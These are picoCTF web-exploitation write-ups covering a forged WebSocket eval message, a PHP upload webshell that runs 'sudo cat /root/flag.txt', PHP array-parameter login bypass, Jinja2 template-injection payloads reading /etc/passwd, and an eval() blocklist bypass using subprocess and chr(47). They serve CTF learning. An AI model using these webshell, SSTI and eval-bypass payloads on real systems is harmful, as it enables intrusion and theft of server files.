WebSockFish Challenge Writeup

https://play.picoctf.org/events/74/challenges/480

  • Name: WebSockFish
  • Category: Web Exploitation
  • Description: Can you win in a convincing manner against this chess bot? He won’t go easy on you!

Overview

This challenge presents us with a web-based chess game where we play against a Stockfish chess engine. The name “WebSockFish” is a clever play on “WebSocket” and “Stockfish,” hinting at the attack vector.

Initial Analysis

Upon examining the source code, we notice several key components:

  1. A chess game interface using chessboard.js
  2. Stockfish engine running as a web worker
  3. WebSocket communication between the client and server
  4. Chat messages that display evaluations from the engine

The most interesting part of the code is how the client handles messages from Stockfish:

1
2
3
4
5
6
if (event.data.includes("mate")) {
message = "mate " + parseInt(splitString[9]);
} else {
message = "eval " + parseInt(splitString[9]);
}
sendMessage(message);

This code parses Stockfish’s evaluation and sends it to the server via WebSocket.

Failed Attempts

I explored numerous strategies before finding the solution:

  1. Using Stockfish against itself: I attempted to use Stockfish to suggest moves for white to gain an advantage, but the engine playing as black was too strong at depth 10.
  2. Manipulating the game engine: I tried decreasing the search depth of the engine to make it play poorly, but this didn’t affect the server-side validation.
  3. Board manipulation: I attempted to reset the board to positions where white had a clear advantage or even checkmate positions, but the game would stop responding correctly after such manipulations.
  4. Message injection: I tried various message formats including “resign”, “checkmate”, “1-0” and other chess-specific commands without success.

Exploitation

After all the complex attempts, the vulnerability turned out to be surprisingly simple. The challenge description asked us to “win in a convincing manner,” which suggested we needed to make the chess engine believe it’s in a completely lost position.

The Solution

By opening the browser console and sending an extremely negative evaluation score:

1
sendMessage("eval -99999");

We trick the server into thinking Stockfish (playing as Black) is in an absolutely hopeless position. In chess evaluation terms, a score of -99999 represents a position so devastatingly lost that resignation is the only logical option.

image.png

This extremely negative evaluation convinces the server that we’ve won in an overwhelming, convincing manner - exactly what the challenge was asking for.

Why It Worked

The challenge was designed to test our understanding of how chess engines communicate evaluations and how WebSockets can be manipulated. By sending a manually crafted evaluation message instead of letting the actual game logic determine the score, we bypassed the need to actually outplay the strong Stockfish engine.

In a real chess context, an evaluation of -99999 would represent a position so hopeless that any reasonable player would resign immediately. The server was likely programmed to release the flag when it received an evaluation below a certain threshold, indicating a “convincing” win.

Flag

1
picoCTF{c1i3nt_s1d3_w3b_s0ck3t5_c0789e29}

n0s4n1ty 1 - Exploiting File Upload Vulnerability

Challenge Description

https://play.picoctf.org/events/74/challenges/482

A developer has added profile picture upload functionality to a website. However, the implementation is flawed, and it presents an opportunity for you. Your mission, should you choose to accept it, is to navigate to the provided web page and locate the file upload area. Your ultimate goal is to find the hidden flag located in the /root directory.You can access the web application here!

Author: Prince Niyonshuti N.

The challenge description mentioned that the developer had improperly implemented the file upload feature, which could potentially lead to a serious vulnerability. We needed to investigate this flaw to find the flag.

Approach

Step 1: Analyzing the File Upload Functionality

I navigated to the web application and identified the file upload area. Knowing that file upload vulnerabilities are common, I attempted to upload a simple PHP reverse shell. However, the reverse shell did not work as intended, most likely due to network constraints and lack of port forwarding.

Failed Attempts:

  1. Reverse Shell via External IP: Tried uploading a reverse shell with my external IP, but no shell connection was established. This was likely due to NAT/firewall restrictions.
  2. ngrok Tunnel: Attempted to use ngrok for port forwarding, but still faced issues with connecting back to my listener.
  3. Directory Listing Attempts: Used PHP scripts to list contents of the /root directory but encountered permission denied errors.

Step 2: Exploiting Sudo Permissions

I used the following PHP code to check the current user and sudo privileges:

1
2
3
<?php
echo "<pre>".shell_exec('whoami && sudo -l')."</pre>";
?>

The output revealed:

1
2
User www-data may run the following commands on challenge:
(ALL) NOPASSWD: ALL

This means that the www-data user can run any command as root without a password. This was a critical discovery, as it indicated that I did not need a sudo password to access root files.

Step 3: Extracting the Flag

Since I had full sudo access, I crafted the following PHP payload to read the flag:

1
<?php echo "<pre>".shell_exec('whoami && sudo whoami && sudo ls -la /root && sudo cat /root/flag.txt')."</pre>"; ?>

Step 4: Capturing the Flag

When executed, this script displayed the contents of the /root/flag.txt file, revealing the flag.

image.png

Reference

I referenced PortSwigger’s guide on file upload vulnerabilities to understand the underlying exploitation techniques.

Apriti Sesamo Writeup

Challenge Info

https://play.picoctf.org/events/74/challenges/467

  • Name: Apriti Sesamo
  • Author: Junias Bonou
  • Category: Web Exploitation

Description

I found a web app that claims to be impossible to hack!


Step 1: Initial Recon

First, I opened up the challenge page and was greeted with a login screen. Clicked on the login button and got redirected to impossibleLogin.php.

image.png

Since the hint said that the developer was a militant Emacs user, I took a shot and tried appending a tilde (~) at the end of the URL to check for Emacs backup files. To my surprise, it worked! I managed to access the backup of the login page.

image.png

Thanks gpt!


Step 2: Analyzing the Source Code

In the source code of the backup file, I found the following PHP snippet:

1
2
<?php
if(isset($_POST[base64_decode("\144\130\x4e\154\x63\155\x35\68\142\127\125\x3d")])&& isset($_POST[base64_decode("\143\x48\64\6b")])){$yuf85e0677=$_POST[base64_decode("\144\x58\4e\154\x63\x6d\65\150\x62\127\55\75")];$rs35c246d5=$_POST[base64_decode("\143\x48\144\153")];if($yuf85e0677==$rs35c246d5){echo base64_decode("\x50\x47\112\79\x4c\172\x35\47\x59\127\154\163\132\127\x51\68\111\x45\35\166\49\x47\132\163\131\127\x63\67\x5a\155\71\171\111\x48\6c\166\64\x51\3d\3d");}else{if(sha1($yuf85e0677)===sha1($rs35c246d5)){echo file_get_contents(base64_decode("\x4c\151\64\166\x5a\6d\78\68\x5a\79\65\60\145\x48\x51\75"));}else{echo base64_decode("\x50\107\112\171\x4c\7a\65\47\x59\57\154\x73\5a\127\x51\68\49\x45\35\76\49\x47\132\x73\131\127\x63\67\x5a\155\71\79\49\x48\6c\166\64\x51\3d\75");}}}?>

Understanding the PHP Code

The PHP code decodes the base64 strings and checks for two POST variables: username and pwd. It compares the values of username and pwd directly, and if they are the same, it echoes a flag. The code also uses sha1() to compare the two variables, but this isn’t relevant for our trick.

At first, I thought I needed two different strings with the same SHA-1 hash. I even used the HashClash project to generate SHA-1 collisions.

image.png

But after some digging and reading about PHP Type Juggling and similar CTF writeups, I figured out that the real vulnerability was PHP variable smuggling.


Step 3: The Real Trick - PHP Smuggling

After realizing that PHP could be tricked into interpreting variables differently, I crafted a payload using array syntax in the POST request:

1
username[]=1&pwd[]=2

I used Firefox’s Edit and Resend functionality to send the crafted request instead of using BurpSuite or curl.

image.png

Surprisingly, that worked! The trick here was that PHP interpreted username[] and pwd[] as arrays, effectively bypassing the comparison checks.


Flag:

1
picoCTF{w3Ll_d3sErV3d_Ch4mp_d543c99c}

SSTI1 Challenge Writeup

Challenge Name: SSTI1

Author: Venax

Description:

The challenge provides a web application where users can make announcements. The hint given was:

1
Announcements may only reach yourself

This hint suggested that something in the announcement functionality might be exploitable or related to accessing personal data.

image.png

Initial Approach:

Since the challenge seemed related to Server-Side Template Injection (SSTI), I started by testing simple payloads to see if the input was being evaluated as code.

Payload:

1
{{ 7 * 7 }}

Result:
The output was 49, indicating that the template engine was processing the input and that SSTI was present.

image.png

Identifying the Template Engine:

Based on the syntax and the result, I assumed that the template engine was Jinja2 (commonly used with Python-based web applications).

To further verify, I tried printing classes to understand the context:

1
2
3
{{ 7*7 }}
{{ 7+7 }}
{{ 7-7 }}

All produced valid results, reinforcing the idea that Jinja2 was being used.

Exploring Objects and Methods:

To explore the environment, I tried accessing class information:

1
{{ ''.__class__.__mro__ }}

This produced useful output showing inheritance chains and confirmed that I had access to the string class.

image.png

I also tried listing subclasses to find potential functions:

1
{{ ''.__class__.mro()[1].__subclasses__() }}

This revealed a long list of subclasses, hinting that I could indirectly access built-in functions or classes.

image.png

Trying File Access:

I attempted to read system files to check if file access was allowed:

1
{{ open('/etc/passwd').read() }}

However, this attempt resulted in a server error.

image.png

Discovering Built-in Functions:

Through trial and error, I found that the following payload worked:

1
{{ request.application.__globals__.__builtins__.open('/etc/passwd').read() }}

This successfully printed the contents of /etc/passwd, proving that built-in functions were accessible through this path.

image.png

Failed Attempts:

  1. Direct usage of os.popen() or os.system() commands caused server errors.
  2. Trying dir() to list available functions resulted in a server error.
  3. Accessing sensitive files directly without using built-ins also caused errors.

Solution:

I came across a tool called Fenjing, which automates payload injection and analysis.

  1. I installed the tool locally and followed the setup instructions.
  2. After inputting the required fields, it displayed: (its chinese translated)
1
2
Start analyzing the form content
WAF has been bypassed, and Shell commands can now be executed

image.png

With shell access enabled, I was able to execute arbitrary commands on the server.

Listing Directory (ls) Output

image.png

Reading the Flag (cat flag)

image.png

Solved!

1
picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_5c985a9a}

After this the next challenge SSTI-2 is a walk in the park!

SSTI2 Challenge Writeup

Challenge Name: SSTI2

Author: Venax

Description:

The challenge provides another web application similar to SSTI1 but claims to have improved input sanitization to filter problematic characters. The hint indicated that the developer aimed to block risky input.

Solution (SSTI2):

I used the Fenjing tool once again, as it had proven effective in SSTI1. I input the necessary fields, and the tool successfully bypassed the WAF and provided shell access.

Tool Output and Shell Access

image.png

Reading the Flag

image.png

Solved!

1
picoCTF{sst1_f1lt3r_byp4ss_e3f3b57a}

CTF Writeup: ABC Bank Loan Calculator RCE Challenge

Challenge Name: 3v@l

Author: Theoneste Byagutangaza

Category: Web Exploitation / RCE

Challenge Description

ABC Bank’s website features a “Bank-Loan Calculator” that allows users to input a formula via a web form, which is then evaluated server-side using Python’s eval() function. The goal is to bypass the calculator’s security measures to achieve Remote Code Execution (RCE) and read a flag file located at /flag.txt. The challenge provides the Flask application source code and a running instance for testing.


Initial Reconnaissance

The provided HTML and Flask code reveal the vulnerability:

  • Frontend (index.html): A form submits a code parameter to /execute via POST:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    <form method="post" action="/execute">
    <textarea
    id="code"
    name="code"
    ...
    placeholder="example: PRTRATETIME(100002312)"
    ></textarea>
    <button type="submit" ...>Execute</button>
    </form>

Exploitation Steps

Step 1: Achieving RCE

To test RCE, I crafted a payload to run a shell command using the subprocess module, which isn’t blocked:

1
__builtins__.__dict__['__imp'+'ort__']('subproc'+'ess').check_output(['c'+'a'+'t', 'app'+'.'+'py'])
  • __builtins__.__dict__['__imp'+'ort__']: Accesses __import__ to import modules, split to avoid suspicion.
  • 'subproc'+'ess': Imports subprocess without triggering the blocklist.
  • 'c'+'a'+'t': Constructs cat, bypassing the blocklist.
  • 'app'+'.'+'py': Constructs app.py dynamically, evading the .py regex match.

Result: The server returned the contents of app.py, confirming RCE. This proved I could execute shell commands and view their output.

image.png

  • Backend (app.py): The /execute route processes the input:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    @app.route('/execute', methods=['POST'])
    def execute():
    code = request.form['code']
    # Blocklist check
    BLOCKLIST_KEYWORDS = ['os', 'eval', 'exec', 'bind', 'connect', 'python', 'python3', 'socket', 'ls', 'cat', 'shell', 'bind']
    for keyword in BLOCKLIST_KEYWORDS:
    if keyword in code:
    return render_template('error.html', keyword=keyword)
    # Regex check
    FILE_PATH_REGEX = r'0x[0-9A-Fa-f]+|\\\\u[0-9A-Fa-f]{4}|%[0-9A-Fa-f]{2}|\\.[A-Za-z0-9]{1,3}\\b|[\\\\\\/]|\\.\\.'
    if re.search(FILE_PATH_REGEX, code):
    return render_template('error.html')
    try:
    result = eval(code)
    except Exception as e:
    result = f"Error: {str(e)}"
    return render_template('result.html', result=result)

Key Observations

  1. Vulnerability: The use of eval(code) executes arbitrary Python code from the code input, a classic RCE vector.
  2. Security Measures:
    • Blocklist: Prevents keywords like os, cat, and exec from appearing in the input.
    • Regex: Blocks hex (0x...), Unicode escapes (\\u....), percent encoding (%..), slashes (/ or \\), double dots (..), and dot-extensions (e.g., .txt).
  3. Bypass Potential: String concatenation (e.g., 'c'+'a'+'t') can evade the blocklist, and runtime-constructed strings can dodge the regex.

Step 2: Exploring the Filesystem

Next, I needed to locate the flag. I tried listing files in the current directory:

1
__builtins__.__dict__['__imp'+'ort__']('subproc'+'ess').check_output(['f'+'i'+'n'+'d', '-'+'m'+'a'+'x'+'d'+'e'+'p'+'t'+'h', '1'])
  • Output: Files like app.py, but no flag.txt.

image.png

A recursive search revealed more:

1
__builtins__.__dict__['__imp'+'ort__']('subproc'+'ess').check_output(['f'+'i'+'n'+'d'])
  • Output: A long list of files b'.\n./app.py\n./static\n./static/bootstrap.min.css\n./static/styles.css\n./templates\n./templates/error.html\n./templates/index.html\n./templates/result.html\n'

image.png

Step 3: Targeting /flag.txt

The challenge description and filesystem hints confirmed the flag was at /flag.txt. However, the regex blocked /, so cat /flag.txt wouldn’t work directly:

1
2
__builtins__.__dict__['__imp'+'ort__']('subproc'+'ess').check_output(['c'+'a'+'t', '/'+'f'+'l'+'a'+'g'+'.'+'t'+'x'+'t'])

  • Failure: '/' triggered the regex filter.

image.png

Step 4: Bypassing the / Restriction

I needed to encode / (ASCII 47, Hex 0x2f) without using blocked patterns (0x..., \\u...., %..). Direct encodings like \\u002f or %2f were caught, so I used Python’s chr() to convert the decimal value 47 to / at runtime:

1
__builtins__.__dict__['__imp'+'ort__']('subproc'+'ess').check_output(['c'+'a'+'t', chr(47)+'f'+'l'+'a'+'g'+'.'+'t'+'x'+'t'])
  • chr(47): Generates / during evaluation, not in the raw input.
  • Input String: ...chr(47)+'f'+'l'+'a'+'g'...—no /, 0x, \\u, or % to trigger the regex.
  • Command: Resolves to cat /flag.txt.

image.png

1
picoCTF{D0nt_Use_Unsecure_f@nctionsa4121ed2}